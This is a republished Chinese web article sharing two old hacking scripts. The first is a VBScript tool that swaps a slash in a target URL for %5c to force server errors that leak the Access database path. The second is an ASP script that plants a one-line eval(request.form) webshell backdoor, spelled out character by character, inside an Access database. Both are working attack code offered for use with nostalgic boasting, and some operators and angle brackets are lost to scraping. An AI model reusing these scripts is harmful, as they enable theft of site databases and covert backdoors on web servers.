N年前的两个脚本%5c暴库
导读：收集整理的这篇文章主要介绍了N年前的两个脚本%5c暴库，觉得挺不错的，现在分享给大家，也给大家做个参考。 Dim xstatus,tStatus,vServer,vHeader,vRsB...
收集整理的这篇文章主要介绍了N年前的两个脚本%5c暴库，觉得挺不错的，现在分享给大家，也给大家做个参考。 Dim xstatus,tStatus,vServer,vHeader,vRsBody GetError=InputBox("请输入网站,例如:http://www.hackerxfiles.COM/files/list.asp?id=415","请输入网址","http://www.hackerxfiles.com/files/list.asp?id=415")
If GetError = "" Then
MsgBox("输入错误，程序结束！")
WScript.QuIT
End If
GetError=Strreverse(GetError)
Tem2=0
For I=1 To Len(GetError)
If mid(GetError,I,1) = Chr(47) And Tem2=0 Then
Temp=Temp & "c5%"
Tem2=Tem2+1
Else
Temp=Temp & Mid(GetError,I,1)
End If
Next
GetError=StrReverse(Temp)
Call XMlPost(GetError)
ErrorText = vServer & " " & xStatus
BaseSaver = GetStr(vRsBody,"找不到文件 '","'。/font> " & Chr(10))
If BaseSaver="[None]" Then
BaseSaver = GetStr(vRsBody,"font face="& Chr(34)& "宋体"& Chr(34)& " size=2> '","'不是一个有效的路径。")
End If
If BaseSaver="[None]" Then
BaseSaver = GetStr(vRsBody,"打开注册表关键字 '","'。/font> ")
End If
If BaseSaver = "[None]" Then
AllReturn= "TITLE> Mappath出错获取数据库地址 Lilo/TITLE> Body scroll='no' bgcolor='menu' style='border:0pt; margin-left:5pt'> B> " & ErrorText & "/B> br> BR> textarea rows='15' name='S1' cols='57'> " & vRsBody& "/textarea> "
Else
AllReturn= "TITLE> Mappath出错获取数据库地址 Lilo/TITLE> Body scroll='no' bgcolor='menu' style='border:0pt; margin-left:5pt'> B> " & ErrorText & "/B> BR> BR> textarea rows='15' name='S1' cols='57'> " & BaseSaver& "/textarea> "
End If
Call OPEnWin(AllReturn)
Set WHShell = WScript.CreateObject("WScript.Shell")
WHShell.AppActivate "Mappath出错获取数据库地址 Lilo"
'WHShell.SendKeys ("%{ TAB} ")
Set WHShell = Nothing
Function URLEncoding(vstrIn)
strReturn = ""
For i = 1 To Len(vstrIn)
ThisChr = Mid(vStrIn,i,1)
If Abs(Asc(ThisChr)) & HFF Then
strReturn = strReturn & ThisChr
Else
innerCode = Asc(ThisChr)
If innerCode 0 Then
innerCode = innerCode + & h10000
End If
Hight8 = (innerCode And & HFF00)\ & HFF
Low8 = innerCode And & HFF
strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
End If
Next
URLEncoding = strReturn
End Function
Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode & H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * & H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function xMLPost(iURL)
On Error Resume Next
IPOst=URLEncoding(iPost)
Set xpost = CreateObject("Microsoft.XMLHTTP")
xPost.open "POST",iURL,False
xPost.Send
xStatus = xPost.Status
tStatus = xPost.StatusText
vServer = xPost.GetResponseHeader("Server")
vHeader = xPost.GetAllResponseHeaders
vRsBody = bytes2BSTR(xPost.responseBody)
Set xPost = Nothing
End Function
Function GetStr(vString,iString,dString)
vSum = inStr(vRsBody,iString)
If vSum = 0 Then GetStr="[None]" : Exit Function
eSum = inStr(vSum,vRsBody,dString)
If eSum = 0 Then GetStr="[None]" : Exit Function
GetStr = Mid(vRsBody,vSum+Len(iString),eSum-vSum-Len(iString))
End Function
Function IntToStr(vNum,vLen)
If Len(vNum) > = vLen Then IntToStr = vNum : Exit Function
For I=1 To vLen-Len(vNum)
IntToStr=IntToStr & "0"
Next
IntToStr = IntToStr & CStr(vNum)
End Function
Function GetSplit(unStr,vaStr,Mode)
aTemp = Split(unStr,vaStr)
BTemp = ubound(aTemp)
Select Case Mode
Case -1: GetSplit = aTemp
Case -2: GetSplit = bTemp
End Select
If Mode 0 Then Exit Function
If Mode > bTemp Then GetSplit=False : Exit Function
If Mode > = 0 Then GetSplit = aTemp(Mode)
End Function
Function OpenWin(vTTv)
Set IE = WScript.CreateObject("internetExplorer.Application")
IE.navigate "about:blank"
IE.Visible = 1
IE.ToolBar = 0
IE.Statusbar = 0
IE.Width=500
IE.Height=335
Do While (IE.Busy): Loop
Set Doc = IE.Document
Doc.Open
Execute "Doc.Writeln " & Chr(34) & vTTv & Chr(34)
Doc.Close
Set IE=Nothing
End Function
另一个是我写的，向access里插入asp代码来当作后门，这应当是我的首创了，不过我也不知其他人有没有更早提前发现的。后来网上就流传开直接向数据库插入一句话来得到webshell。不知不觉时光飞逝，4年过去了，人老了，难道只能怀旧吗？
%
db="0123.asp" '这里改成您的数据库地址
set conn=server.createobject("Adodb.Connection")
connstr="PRovider=Microsoft.Jet.OLEDB.4.0; Data Source="& Server.MapPath(db)
conn.open connstr
'添加notdownload表
conn.execute("create table notdownload(notdown oleobject)")
'写入%数据
set rs=server.createobject("adodb.recordset")
SQL="select * From notdownload"
rs.open sql,conn,1,3
rs.addnew
rs("notdown").appendchunk(chrB(asc("")) & chrB(asc("s")) & chrB(asc("c"))& chrB(asc("r")) & chrB(asc("i"))& chrB(asc("p"))& chrB(asc("t"))& chrB(asc(" "))& chrB(asc("r"))& chrB(asc("u"))& chrB(asc("n"))& chrB(asc("a"))& chrB(asc("t"))& chrB(asc("="))& chrB(asc("s"))& chrB(asc("e"))& chrB(asc("r"))& chrB(asc("v"))& chrB(asc("e"))& chrB(asc("r"))& chrB(asc(" "))& chrB(asc("l"))& chrB(asc("a"))& chrB(asc("n"))& chrB(asc("g"))& chrB(asc("u"))& chrB(asc("a"))& chrB(asc("g"))& chrB(asc("e"))& chrB(asc("="))& chrB(asc("j"))& chrB(asc("a"))& chrB(asc("v"))& chrB(asc("a"))& chrB(asc("s"))& chrB(asc("c"))& chrB(asc("r"))& chrB(asc("i"))& chrB(asc("p"))& chrB(asc("t"))& chrB(asc("> "))& chrB(asc("e"))& chrB(asc("v"))& chrB(asc("a"))& chrB(asc("l"))& chrB(asc("("))& chrB(asc("r"))& chrB(asc("e"))& chrB(asc("q"))& chrB(asc("u"))& chrB(asc("e"))& chrB(asc("s"))& chrB(asc("t"))& chrB(asc("."))& chrB(asc("f"))& chrB(asc("o"))& chrB(asc("r"))& chrB(asc("m"))& chrB(asc("("))& chrB(asc("'"))& chrB(asc("#"))& chrB(asc("'"))& chrB(asc(")"))& chrB(asc("+"))& chrB(asc("'"))& chrB(asc("'"))& chrB(asc(")"))& chrB(asc(""))& chrB(asc("/"))& chrB(asc("s"))& chrB(asc("c"))& chrB(asc("r"))& chrB(asc("i"))& chrB(asc("p"))& chrB(asc("t"))& chrB(asc("> ")))
rs.update
rs.close
set rs=nothing
'关闭连接
conn.close
set conn=nothing
%>
声明：本文内容由网友自发贡献，本站不承担相应法律责任。对本内容有异议或投诉，请联系2913721942#qq.com核实处理，我们将尽快回复您，谢谢合作！
若转载请注明出处： N年前的两个脚本%5c暴库
本文地址： https://pptw.com/jishu/609554.html